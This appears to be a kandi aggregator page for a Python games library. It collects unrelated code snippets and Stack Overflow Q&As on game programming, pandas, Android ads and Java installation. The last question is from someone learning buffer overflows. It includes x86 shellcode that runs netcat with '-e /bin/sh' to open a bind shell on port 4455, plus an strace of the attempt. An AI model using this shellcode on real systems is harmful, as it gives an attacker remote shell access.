Games | Games : Create interesting games in pure python | Game Engine library
kandi X-RAY | Games Summary
Support
Quality
Security
License
Reuse
- Main loop
- Restart the game
- Tells the game
- Draw all instances
- Run the game
- Updates the current speed
- Updates the screen
- Draws the given mouse position
- Play the game
- End of game end
- Run the game
- Handle clickcallback
- Show end game interface
- The game start interface
- Update the game statistics
- Displays the GUI interface
- Update the image position
- Start the game
- Ends the screen
- Mouse press event handler
- Mouse press event
- Run game loop
- Called when a message is received
- Play game
- Main thread
- Called when a response is received
Games Key Features
Games Examples and Code Snippets
[Event "World Fischer Random 2019"] [Site "Hovikodden NOR"] [Date "2019.11.02"] [Round "3.5"] [White "Carlsen, Magnus"] [Black "So, Wesley"] [Result "1/2-1/2"] [BlackElo "2767"] [BlackFideId "5202213"] [BlackTitle "GM"] [EventDate "2019.10.04"] [FEN "nrkbqnbr/pppppppp/8/8/8/8/PPPPPPPP/NRKBQNBR w HBhb - 0 1"] [SetUp "1"] [Variant "chess 960"] [WhiteElo "2876"] [WhiteFideId "1503014"] [WhiteTitle "GM"] [Annotator "engine: Stockfish 2019-12-30 64 POPCNT, prog: Chess Artist v2.9"] {Hash 256mb, Threads 2, analysis 15.0s per position, move score is in pawn unit, positive is good for white and negative is good for black} 1. Nb3 $6 {-0.16} (1. c3 {+0.80}) 1... f5 $6 {+0.46} (1...Nb6 2. e4 e5 3. c3 Ra8 {+0.00}) 2. f3 $3 {-0.11, planning Bxa7} 2... Nb6 {+0.46} 3. e4 {+0.00} 3... fxe4 {+0.39} 4. fxe4 {-0.19, with a better piece mobility} 4... e5 {+0.40} 5. Ne3 $6 {-0.33} (5. Bf3 Ne6 6. O-O-O d6 7. d3 {+0.39}) 5... Ne6 $1 {+0.51, followed by h5} 6. c3 $6 {-0.44} (6. d3 {+0.41}) 6... Bg5 $6 {+0.71} (6...Ra8 {-0.45}) 7. Bc2 $3 {+0.20, followed by h4} 7... O-O-O $6 {+0.64} (7...Bf7 8. h4 Bxe3 9. Bxe3 O-O-O {-0.09}) 8. O-O-O $2 {-0.07} (8. a4 {+0.53}) 8... Bf7 $1 {+0.41, with the idea of Bh5} 9. Kb1 {+0.00} (9. h4 Bxe3 10. Qxe3 d6 11. d3 {+0.45}) 9... Bh5 $3 {+0.17, followed by Bxd1} 10. Rc1 {+0.00} 10... Rf8 {+0.11} (10...Kb8 11. h4 Bxe3 12. Bxe3 d6 {+0.00}) 11. h4 {-0.13} (11. Nf5 {+0.21}) 11... Bxe3 $5 {+0.05} 12. Bxe3 $5 {-0.27} 12... Nf4 $3 {+0.11, with the idea of Nxg2} 13. Rg1 $6 {-0.45} (13. Bxf4 Rxf4 14. g3 Rf6 15. Rf1 {+0.17}) 13... Bg4 $2 {+0.00} (13...Ne2 14. Bg5 Nxg1 15. Qxg1 Kb8 {-0.59}) 14. Bxf4 $6 {-0.49} (14. g3 Ne2 15. Bg5 Nxc1 16. Kxc1 {-0.10}) 14... Rxf4 {-0.01} 15. g3 $6 {-0.47} (15. d4 d6 16. g3 Rf6 17. Nd2 {-0.10}) 15... Rf6 {+0.00} (15...Rf8 16. Rf1 Rxf1 17. Qxf1 d6 {-0.36}) 16. d4 {-0.45} (16. Qe3 d6 17. Rgf1 Qf7 18. Rxf6 {-0.19}) 16... d6 $3 {-0.10, with the idea of Qb5} 17. Bd3 $6 {-0.43} (17. Nd2 Qb5 18. Qe3 Qe2 19. Qg5 {+0.00}) 17... Kb8 $2 {-0.06} (17...Qf7 {-0.66}) 18. Ka1 $6 {-0.51} (18. Qd2 Qe7 19. Qg5 h5 20. Rgf1 {-0.09}) 18... Qf7 {-0.15} (18...Rf3 19. Bc2 Nc4 20. Qe2 Ne3 {-0.44}) 19. d5 $2 {-1.13} (19. Qe3 {-0.15}) 19... Rf3 $1 {-0.85} (19...Nd7 {-0.84}) 20. Bb1 $2 {-1.38} (20. Qd2 {-0.38}) 20... Rf8 $2 {-0.58} (20...Nc4 21. Nd2 Nxd2 22. Qxd2 Rf8 {-1.30}) 21. c4 {-0.69} 21... Nd7 $5 {-0.48} 22. Qb4 $4 {-1.52} (22. c5 Nxc5 23. Nxc5 dxc5 24. Rxc5 {-0.47}) 22... b6 {-1.39} 23. Na5 $4 {-2.57} (23. a3 {-1.13}) 23... Nc5 {-2.24} 24. Nc6+ {-3.26} 24... Kb7 {-2.69} (24...Ka8 {-3.11}) 25. Na5+ {-3.07} 25... Ka8 {-2.60} 26. Nc6 {-3.47} 26... Kb7 $2 {-2.56} (26...Bd7 {-3.26}) 27. Na5+ {-3.32} 27... Ka8 {-3.15} 28. Nc6 {-3.22} {WhiteBlunder=2, BlackBlunder=0, WhiteBad=3, BlackBad=4} 1/2-1/2
SigninResult result = await PlayGames.signIn(scopeSnapshot: true); // allow to load/save games later
Future fetchStartAmount() async { Snapshot save = await PlayGames.openSnapshot('crystap.main'); // load the existing save or create a new empty one if none exists if (save.content == null || save.content.trim().isEmpty) { return 0; // default value when there is no save } return int.parse(save.content); } Future saveAmount(int amount) async { bool result = await PlayGames.saveSnapshot('crystap.main', amount.toString()); // save the current state to the snapshot await PlayGames.openSnapshot('crystap.main'); // reopen snapshot after save return result; }
@inproceedings{dubeyICMl18humanRL, Author = {Dubey, Rachit and Agrawal, Pulkit and Pathak, Deepak and Griffiths, Thomas L. and Efros, Alexei A.}, Title = {Investigating Human Priors for Playing Video Games}, Booktitle = {International Conference on Machine Learning ({ICML})}, Year = {2018} }
public static void main(String[] args) { System.out.println(getTopGames(10, 2, new String[]{"cause", "boy", "range"}, 1, new String[]{ "sit investment professional small draw possible ahead coach boy best rock require ", "feeling during husband kill behind seek lawyer fight draw become analysis talk ", "he-baby certain cause take cold close cause life ball response "})); System.out.println(getTopGames(10, 1, new String[]{"trader", "joe"}, 1, new String[]{"trader joe's", "joe'asdf", "joe'xyz", "joe`book", "joe-biden", "bitcoin trader"})); System.out.println(getTopGames(10, 2, new String[]{"interesting", "act", "price", "plan", "into", "lot", "culture", "ever", "couple", "no"}, 10, new String[]{"green hit position change language ever` best! else month either employee inside party hard letter dark? eat research far! in result price several interesting prevent manager. create country physical general anything hold death relate create street price financial program plan impact box even leg suggest note price plant so something common power? act someone modern ", "senior artist n't blue act again serious. official, member often population could manager nature decision great everything free believe lot! really ", "second interesting, into decision dark lot lot soon concern suggest? blue life election ever since accept` I table build lot between` prove law plan have help admit stock ", "kill picture after list` identify down economic build assume no citizen present many let operation indeed discover hand Congress able end now kid, change audience relationship couple appear, customer concern firm mean officer sing ", "past onto still ever oh` season anyone remember certain memory real none party die central subject almost! reflect key national among security site assume increase charge back approach music` should along him suffer especially produce own? appear exist front parent season difficult although, couple may n't oil class interesting table present ", "deep candidate real bad test natural edge into! stand into into song Republican? personal beat economic find discussion draw expect ", "he stand sound sound computer loss fill determine rich sing carry significant adult move improve door left charge easy minute each best forward six pressure politics? describe become particular brother smile population, paper put! market section recent ", "policy close attack service able memory break Congress animal half artist choose expect subject piece at myself sense. hang plan alone alone here behavior outside none language indeed head step rich interesting away interesting ", "go sit! help study` kid bar station cut! sure player pressure tax either game! local seem, no disease break because knowledge fine scene carry into ask fight professional far first benefit another` something process impact all. someone resource amount several fund interesting ", "act example operation lot rule into interesting couple collection price meeting although lot record onto conference according easy! interesting stop culture situation friend"} )); System.out.println(getTopGames(10, 9, new String[]{"author", "instead", "as", "pretty", "must", "support", "legal", "remember", "in", "address"}, 20, new String[]{"part agent ok community director'sit-author as indeed pattern official color address could admit street money standard probably challenge significant budget same author remember assume ", "benefit fire in legal pretty ago as marriage kill prove bit reflect-dead half cup'author action check miss quickly legal'meet-push remember language eat green sit crime stay-few risk get sea instead son-among fact investment positive-hundred suggest security energy-much ago price boy remain among ", "instead religious remember address media-sometimes-light financial ever moment light-establish newspaper person others drug show mean name matter hand management must serious increase power range seem reveal south job rate part as source'place receive can as good hot during task many seek mission carry draw second strategy ", "entire space address process instead ", "support easy after poor picture political campaign alone perform local country cancer explain prepare party man spring door seven million note medical develop reality argue n't ", "heat image analysis-less act purpose actually century information-list leg-long board own court'marriage moment development store soldier create line share dream property teacher tax guess ", "indeed in agree must figure in'democratic support manager exactly pretty resource ", "store pretty fund-eat itself along available long room-book success'grow might determine often including despite as focus serious recent partner problem provide author hair manager agency center skin help morning-contain fly-agreement play military investment difficult room idea society he if ", "kill forward buy in land force officer'card others'government'positive lead religious oil decide pressure address-legal argue raise glass instead pretty standard cover star message resource as must appear condition hang as'support ", "hit'order must can above must our state clear full nor reach'finger candidate morning person enjoy police always take enjoy beyond strategy remember hang color author scientist as remember reflect fall more accept-federal quite check finally-around dinner over draw also-key task business set ", "enough hang interest chair from eye century entire himself religious soldier pretty need painting conference task'hundred front newspaper-he need south set subject else pretty relate parent process floor beyond military both shake clear rise anyone case each teach former group action big couple must'customer-space ", "charge-guy large bed legal color physical court instead end'American instead shoulder right lay ok consumer-five pretty scientist specific official-admit'remember legal remember-build determine'consider'as ", "director sort as'address away'serious lawyer huge full-career legal coach before almost-provide short above could choose food plan tell must patient term-strong middle as significant bring ", "legal mission in itself relate after mind author must state cell instead legal because after federal support on hour seat spring many ", "six-sing poor some hospital else single fall idea enough office away people remember argue bring hair everybody remember ", "as perhaps remember instead pretty-", "improve present-positive author remember support debate loss happen government actually stage news read say compare little so must-source floor development significant finger conference pressure ", "person run'instead share-himself former save support answer make operation mother pretty author standard some next in fight gas avoid-me media campaign in-majority in make in me-factor ", "explain heavy become major size field nation author ten Congress instead sea-couple citizen medical keep baby like five'media he church probably instead legal tax-quality boy must often billion'", "material answer in health avoid-reduce personal-address civil interesting instead bag technology-in democratic card central free owner clearly clearly even support legal movement pretty any after police responsibility person administration support pretty politics-"} )); }
public static List getTopGames(int num, int topKGames, String[] games, int numReviews, String[] reviews) { Map totalCount = new HashMap<>(), reviewsCount = new HashMap<>(), gameIdx = new HashMap<>(); // 0: total, 1: reviews count for (int i = 0; i < games.length; i++) { gameIdx.putIfAbsent(games[i].toLowerCase(), i); } analyzeReviews(reviews, gameIdx, totalCount, reviewsCount); Comparator sort = (v1, v2) -> v1[1] == v2[1] ? Integer.compare(v1[2], v2[2]) : Integer.compare(v1[1], v2[1]); PriorityQueue pq = new PriorityQueue<>(sort); // 0: idx, 1: total, 2: unique for (String game : totalCount.keySet()) { pq.add(new int[]{gameIdx.get(game), totalCount.get(game), reviewsCount.get(game)}); if (pq.size() > topKGames) pq.poll(); } LinkedList result = new LinkedList<>(); while (!pq.isEmpty()) { result.addFirst(games[pq.poll()[0]]); } // return pq.stream().map(val -> val[0]).map(idx -> games[idx]).collect(Collectors.toList()); // return pq.stream().sorted(sort).map(val -> val[0]).map(idx -> games[idx]).collect(Collectors.toList()); return result; }
public static List topMentioned(int topKGames, String[] games, String[] reviews) { Map totalCount = new HashMap<>(), reviewsCount = new HashMap<>(), gameIdx = new HashMap<>(); // 0: total, 1: reviews count for (int i = 0; i < games.length; i++) { gameIdx.putIfAbsent(games[i].toLowerCase(), i); } analyzeReviews(reviews, gameIdx, totalCount, reviewsCount); Comparator sort = (v1, v2) -> v1[1] == v2[1] ? Integer.compare(v1[2], v2[2]) : Integer.compare(v1[1], v2[1]); PriorityQueue pq = new PriorityQueue<>(sort); // 0: idx, 1: total, 2: unique for (String game : totalCount.keySet()) { pq.add(new int[]{gameIdx.get(game), totalCount.get(game), reviewsCount.get(game)}); if (pq.size() > topKGames) pq.poll(); } LinkedList result = new LinkedList<>(); while (!pq.isEmpty()) { result.addFirst(games[pq.poll()[0]]); } // return pq.stream().map(val -> val[0]).map(idx -> games[idx]).collect(Collectors.toList()); // return pq.stream().sorted(sort).map(val -> val[0]).map(idx -> games[idx]).collect(Collectors.toList()); return result; }
Trending Discussions on Games
Trending Discussions on Games
QUESTION
I am trying to find a quick and fast way to check for alignment of 5 bits in a 6x6 board in all directions (diagonal, horizontal, vertical). The board is represented as a bitboard as they are very fast.
The bitboard is like this:
00 01 02 03 04 05
06 07 08 09 10 11
12 13 14 15 16 17
18 19 20 21 22 23
24 25 26 27 28 29
30 31 32 33 34 35
Some examples of alignment:
// Vertical Alignment
0 1 0 0 0 0
0 1 0 0 0 0
0 1 0 0 0 0
0 1 0 0 0 0
0 1 0 0 0 0
0 0 0 0 0 0
// Diagonal Alignment
0 0 0 0 0 0
0 0 0 0 0 1
0 0 0 0 1 0
0 0 0 1 0 0
0 0 1 0 0 0
0 1 0 0 0 0
I have tried looping through every possible bitboard winning position and checked if ((winningPosition & currentPosition) != 0)
as I have seen that in many tic tac toe implementations of bitboards. The issue here is that this implementation is very slow compared to other solutions I have seen for other games such as connect four (https://spin.atomicobject.com/2017/07/08/game-playing-ai-bitboards/)
ANSWER
Answered 2022-Mar-30 at 06:51Some tests could be grouped together.
For example, let's say the board is called x
, then m = x & (x >> 1) & (x >> 2) & (x >> 3) & (x >> 4)
computes a mask where every bit indicates whether it is the start of 5 horizontally-consecutive set bits (including ranges that wrap across different rows). If m
has any of the bits in the first two columns set, then that means that that bit is the first bit of a winning position. That's a cheap test: (m & 0b000011000011000011000011000011000011) != 0
. Together that takes care of checking 12 winning positions in 10 operations.
The same approach can be used for vertical alignment, but the shift amounts become 6, 12, 18, 24 instead of 1, 2, 3, 4 and the mask becomes 0b000000000000000000000000111111111111
.
The same approach can also be used for the diagonals,
- shift amounts of 7, 14, 21, 28 with a mask of
0b000011000011
- shift amounts of 5, 10, 15, 20 with a mask of
0b110000110000
But there are only 8 diagonal winning positions and it ends up costing 20 operations to check them this way, which isn't that good. It may still help thanks to reducing the number of checks even though it's more operations, but it may also not help, or be worse.
The number of checks can be reduced to 1 if you prefer, by ORing together the winning-position bits and doing just one != 0
.
QUESTION
I have a Pandas Dataframe df
that details Names of players that play a game. The Dataframe has 2 columns of 'Date' they played a game and their name, sorted by Date.
What I am trying to accomplish is to time-efficiently calculate the previous number of games each player has played before they play the upcoming game that day.
For the example Dataframe above, calculating the players previous number of games would start at 0 and look like follows.
Date Name Previous Games 1993-03-28 Tom 0 1993-03-28 Joe 0 1993-03-29 Tom 1 1993-03-30 Joe 1I have tried the following codes and although they have delivered the correct result, they took many days for my computer to run.
Attempt 1:
for i in range(0, len(df) ):
df['Previous Games'][i] = len( df[ (df['Name'] == df['Name'][i]) & (df['Date'] < df['Date'][i]) ] )
Attempt 2:
df['Previous Games'] = [ len( df[ (df['Name'] == df['Name'][i]) & (df['Date'] < df['Date'][i]) ] ) for i in range(0, len(df) ) ]
Although Attempt 2 was slightly quicker, it was still not time-efficient so I need help in finding a faster method.
ANSWER
Answered 2022-Mar-03 at 12:03Any time you write "for" and "pandas" anywhere close together you are probably doing something wrong.
It seems to me you want the cumulative count:
df["prev_games"] = df.sort_values('Date').groupby('Name').cumcount()
QUESTION
I was going through the player movement code for the source engine when I stumbled upon the following function:
void CGameMovement::Accelerate( Vector& wishdir, float wishspeed, float accel )
{
int i;
float addspeed, accelspeed, currentspeed;
// This gets overridden because some games (CSPort) want to allow dead (observer) players
// to be able to move around.
if ( !CanAccelerate() )
return;
// See if we are changing direction a bit
currentspeed = mv->m_vecVelocity.Dot(wishdir);
// Reduce wishspeed by the amount of veer.
addspeed = wishspeed - currentspeed;
// If not going to add any speed, done.
if (addspeed <= 0)
return;
// Determine amount of accleration.
accelspeed = accel * gpGlobals->frametime * wishspeed * player->m_surfaceFriction;
// Cap at addspeed
if (accelspeed > addspeed)
accelspeed = addspeed;
// Adjust velocity.
for (i=0 ; i<3 ; i++)
{
mv->m_vecVelocity[i] += accelspeed * wishdir[i];
}
}
Although I do understand the concept of utilising the wishdir & wishspeed to calculate the velocity increment, I cannot figure out why they use the wishspeed
and m_surfaceFriction
in the calculation of accelspeed
:
accelspeed = accel * gpGlobals->frametime * wishspeed * player->m_surfaceFriction;
I think it somehow compensates for the reduction in velocity due to friction that was calculated earlier, but multiplying these two variables with accel * gpGlobals->frametime
does not seem to make physical sense.
Would somebody be able to explain the thoughts behind this calculation and why this extra wishspeed * player->m_surfaceFriction
factor is applied to the accelspeed
?
ANSWER
Answered 2022-Feb-22 at 18:17I think author make wishspeed
simply act as scaler for accel
, so the speed of currentspeed
reach the wishspeed
linear correlated to magnitude of the wishspeed
, thus make sure the time required for currentspeed
reach the wishspeed
is approximately the same for different wishspeed
if other parameters stay the same.
And reason above that is because this could create some sort of urgent and relaxing effects which author desired for character's movement, i.e when speed we wish for character is big(small) then character's acceleration is also big(small), no matter sprint or jog, speed change well be finished in roughly same time period.
And player->m_surfaceFriction
is even more obvious, author just want an easy(linear) way to let surface friction value affect player's acceleration.
From my own experience, when trying to understand the math related mechanism inside the realm of game development, especially physics or shader, we should focus more on the end effect or user experience the author trying to create instead of the mathematical rigor of the formula.
We shouldn't trap ourselves with question like: is this formula real? or the formula make any physical sense?
Well, if you look and any source code of physics simulation engine, you'll find out most of them if not all of them does not using real life formula, instead they rely on bunch of mathematical tricks to create the end effect that mimic our expectation of real life physics.
E.g, PBD or XPBD one of the most widely used algorithm for cloth or softbody simulation, as name suggest, is position based dynamic, meaning they modify the particle's position explicitly, not as one may expected in a implicit way like in real life (force effect velocity then effect position), why do we using algorithm like this? because it create the visual effect match our expectation better.
QUESTION
Currently I have a game in libgdx that show ads on top of the game layout. However, as you can notice, it hides part of the top of the screen, where the score is shown.
Question: How can I make the ads show ABOVE the game view/screen, so it doesnt overlap/hides anything from the game? I want the screens to be as shown in the next picture.
Current code:
import android.os.Bundle;
import android.view.View;
import android.view.ViewGroup;
import android.widget.RelativeLayout;
import com.badlogic.gdx.backends.android.AndroidApplication;
import com.badlogic.gdx.backends.android.AndroidApplicationConfiguration;
import de.golfgl.gdxgamesvcs.GpgsClient;
import com.google.android.gms.ads.AdRequest;
import com.google.android.gms.ads.AdSize;
import com.google.android.gms.ads.AdView;
public class AndroidLauncher extends AndroidApplication {
private RelativeLayout layout;
private RelativeLayout.LayoutParams params;
private AdView bannerAd;
@Override
protected void onCreate (Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
AndroidApplicationConfiguration config = new AndroidApplicationConfiguration();
//
GpgsClient gpgsClient = new GpgsClient();
gpgsClient.initialize(this, false);
SpaceEscape game = new SpaceEscape(gpgsClient);
//
//initialize(game, config);
View gameView = initializeForView(game,config);
////////// Define the layout
layout = new RelativeLayout(this);
layout.addView(gameView, ViewGroup.LayoutParams.MATCH_PARENT,ViewGroup.LayoutParams.MATCH_PARENT);
params = new RelativeLayout.LayoutParams(
ViewGroup.LayoutParams.WRAP_CONTENT,
ViewGroup.LayoutParams.WRAP_CONTENT);
params.addRule(RelativeLayout.ALIGN_PARENT_TOP);
params.addRule(RelativeLayout.CENTER_IN_PARENT);
bannerAd = new AdView(this);
bannerAd.setAdUnitId("REDACTED");
bannerAd.setAdSize(AdSize.BANNER);
layout.addView(bannerAd, params);
setContentView(layout);
AdRequest ad = new AdRequest.Builder().build();
bannerAd.loadAd(ad);
}
}
ANSWER
Answered 2022-Jan-24 at 13:01To avoid this overlapping effect using a RelativeLayout
you can create an Ad Container
(eg: a RelativeLayout Container) to be on the top of the screen by using the RelativeLayout.ALIGN_PARENT_TOP
rule and add the GameView
below of the Ad Container using the RelativeLayout.BELOW
rule. Finally add your AdView
as a child of the above Ad Container
.
Below is an example of how you can do the above structure:
//define the layout
layout = new RelativeLayout(this);
//adView Container RelativeLayout
RelativeLayout adContainerRL = new RelativeLayout(this);
adContainerRL.setBackgroundColor(Color.BLACK);
adContainerRL.setId(ViewCompat.generateViewId());
RelativeLayout.LayoutParams adContainerParams = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT);
adContainerParams.addRule(RelativeLayout.ALIGN_PARENT_TOP);
layout.addView(adContainerRL, adContainerParams);
//adView
AdView bannerAd = new AdView(this);
bannerAd.setAdUnitId("ca-app-pub-3940256099942544/6300978111"); //this is a test ad unit id
bannerAd.setAdSize(AdSize.BANNER);
RelativeLayout.LayoutParams adViewParams = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT);
adViewParams.addRule(RelativeLayout.ALIGN_PARENT_TOP);
adViewParams.addRule(RelativeLayout.CENTER_IN_PARENT);
adContainerRL.addView(bannerAd, adViewParams);
//gameView
View gameView = initializeForView(game, config);
RelativeLayout.LayoutParams gameViewParams = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT);
gameViewParams.addRule(RelativeLayout.BELOW, adContainerRL.getId());
layout.addView(gameView, gameViewParams);
//set the layout
setContentView(layout);
//load ad
AdRequest ad = new AdRequest.Builder().build();
bannerAd.loadAd(ad);
QUESTION
Installing the latest version of Java is always a bit messy and wanted to see if I'm doing everything right. I currently have Java 16 in this path /usr/lib/jvm/adoptopenjdk-16-hotspot-armhf
I followed the following tutorial 2) Install OpenJDK 17 on Debian 10/9 and everything went OK.
My JAVA_HOME
is correct and set to /opt/jdk17
, but my java --version
is still using Java 16.
java --version
openjdk 16.0.1 2021-04-20
OpenJDK Runtime Environment AdoptOpenJDK-16.0.1+9 (build 16.0.1+9)
OpenJDK Server VM AdoptOpenJDK-16.0.1+9 (build 16.0.1+9, mixed mode)
Other useful information
pi@raspberrypi:~ $ which java
/usr/bin/java
pi@raspberrypi:~ $ echo $PATH
/home/pi/.local/bin:/bin:/home/pi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
My PATH variable doesn't seem to contain /opt/jdk-17
but even after running source /etc/profile.d/jdk.sh
and /opt/jdk-17
present, java --version
is still using Java 16.
ANSWER
Answered 2021-Dec-31 at 05:20Based on the various comments ...
- You have Java 17 installed ... manually ... in
/opt/jdk17
- You have
JAVA_HOME
pointing on the base of the Java 17 installation. I assume that there is (for example) a/opt/jdk17/bin/java
executable. - The Java 17 installation directory is NOT on the command search path (
PATH
). - The search path is finding
/usr/bin/java
... which (in your case) says Java 16 when you runjava -version
. - Your system has the "/etc/alternatives" system installed, but
sudo update-alternatives --config java
says that only Java 16 is available.
So ...
The "alternatives" mechanism creates and maintains symlinks to various switchable commands. If you run ls -l /usr/bin/java
for example, I expect that you will see that it is a symlink. When you run update-alternatives
, it will attempt to update the symlinks. But it can only do this for commands and command versions that it knows about.
Right now ... update-alternatives
does not know about Java 17. It doesn't know it is installed, or where it is installed.
If you had installed Java 17 from the package manager, then the config files that tell update-alternatives
about Java 17 would have been added too.
Solutions, ordered from "best" (1) to "worst".
Remove your manual install of Java 17 and install it from the package manager. You might need to find / add an "experimental" Debian package repo to do this. (I get the impression that the official Debian repo managers tend to be rather slow in picking up new stuff.)
Carefully read the documentation in
man 1 update-alternatives
andupdate-alternatives --help
and then use the--install
and--slave
commands to tell it about Java 17.Find the Java symlinks and manually replace them with symlinks to the Java 17 versions of the executables. (Be careful ...)
Add
/opt/jdk17/bin
to the start of yourPATH
. (Be careful ...)Just use the full pathnames; e.g.
/opt/jdk17/bin/java
rather thanjava
.
I also came across this:
Java 17 on the Raspberry Pi which includes (among other things) example commands for adding Java 17 to the alternatives system. It also mentions using
sdkman
.How to Install Java 17 (JDK 17) on Debian 11. There is a comment that says:
"Awesome! Thanks. This Debian package works on Raspberry Pi's Raspian 64-bit Bullseye as of posting. Only method that works without manually downloading packages and attempting to install. :)".
But I see that you have a 32-bit Raspberry Pi ...
QUESTION
I have been learning buffer overflows and i am trying to execute the following command through shellcode /bin/nc -e /bin/sh -nvlp 4455
. Here is my assembly code:
;Simple assembly execve call to execute /bin/ls -la
;modified to execve >
;/bin/nc -e /bin/sh -nvlp 4455
global _start
section .text
_start:
xor eax, eax ;create null eax register
push eax ;push null eax register to the stack
push 0x636e2f2f ;push command to the stack
push 0x6e69622f ;"/bin//nc"
mov ebx, esp ;move pointer to command into ebx
push eax ;push null eax register to the stack
;push 0x61616c2d ;push argument to the stack "-laa"
push 0x35353434 ;push "4455"
push 0x20706c76 ;push "vlp "
push 0x6e2d2068 ;push "h -n"
push 0x7361622f ;push "/bas"
push 0x6e69622f ;push "/bin"
push 0x2f20652d ;push "-e /"
push 0x636e2f2f ;push "//nc"
push 0x6e69622f ;push "/bin"
mov esi, esp ;move stack pointer to esi
push eax ;push null eax register to the stack
push esi ;push address of the argument to the stack
push ebx ;push address of the command to the stack
mov ecx, esp ;move pointer to start of the command to ecx
mov edx,eax ;null arguments for last execve (file, argv, envp)
mov al, 0xb ;define execve
int 0x80 ;execute command
I am using the following commands to build the assembly file. I keep getting forward host lookup failed. Unknown Host error. Am I doing something wrong? I have
$ make all
nasm -f elf32 shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o
┌──(kali㉿kali)-[~/Desktop/assembly]
└─$ ./shellcode
/bin//nc-e //bin/bash -nvlp 4455: forward host lookup failed: Unknown host
Here is strace output as well. It's so much gibberish for me, I couldn't even understand a line.
execve("./shellcode", ["./shellcode"], 0x7fffffffe070 /* 55 vars */) = 0
execve("/bin//nc", ["/bin//nc", "/bin//nc-e //bin/bash -nvlp 4455"], NULL) = 0
brk(NULL) = 0x55555555e000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=95011, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 95011, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7fae000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000y\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\200\0\300\4\0\0\0\1\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\320\276\243\212\v\307^\t\263h8\371\266h\r\350"..., 68, 880) = 68
newfstatat(3, "", {st_mode=S_IFREG|0755, st_size=1835120, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fac000
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 1868664, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7de3000
mprotect(0x7ffff7e09000, 1654784, PROT_NONE) = 0
mmap(0x7ffff7e09000, 1343488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x26000) = 0x7ffff7e09000
mmap(0x7ffff7f51000, 307200, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x16e000) = 0x7ffff7f51000
mmap(0x7ffff7f9d000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b9000) = 0x7ffff7f9d000
mmap(0x7ffff7fa3000, 33656, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fa3000
close(3) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7de1000
arch_prctl(ARCH_SET_FS, 0x7ffff7fad600) = 0
mprotect(0x7ffff7f9d000, 12288, PROT_READ) = 0
mprotect(0x55555555c000, 4096, PROT_READ) = 0
mprotect(0x7ffff7ffb000, 8192, PROT_READ) = 0
munmap(0x7ffff7fae000, 95011) = 0
getpid() = 15163
newfstatat(AT_FDCWD, "/etc/resolv.conf", {st_mode=S_IFREG|0644, st_size=74, ...}, 0) = 0
brk(NULL) = 0x55555555e000
brk(0x55555557f000) = 0x55555557f000
openat(AT_FDCWD, "/etc/host.conf", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=9, ...}, AT_EMPTY_PATH) = 0
read(3, "multi on\n", 4096) = 9
read(3, "", 4096) = 0
close(3) = 0
openat(AT_FDCWD, "/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=74, ...}, AT_EMPTY_PATH) = 0
read(3, "# Generated by NetworkManager\nse"..., 4096) = 74
read(3, "", 4096) = 0
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=74, ...}, AT_EMPTY_PATH) = 0
close(3) = 0
getpid() = 15163
rt_sigaction(SIGINT, {sa_handler=0x555555557280, sa_mask=[INT], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7ffff7e1f910}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=0x555555557280, sa_mask=[QUIT], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7ffff7e1f910}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGTERM, {sa_handler=0x555555557280, sa_mask=[TERM], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7ffff7e1f910}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
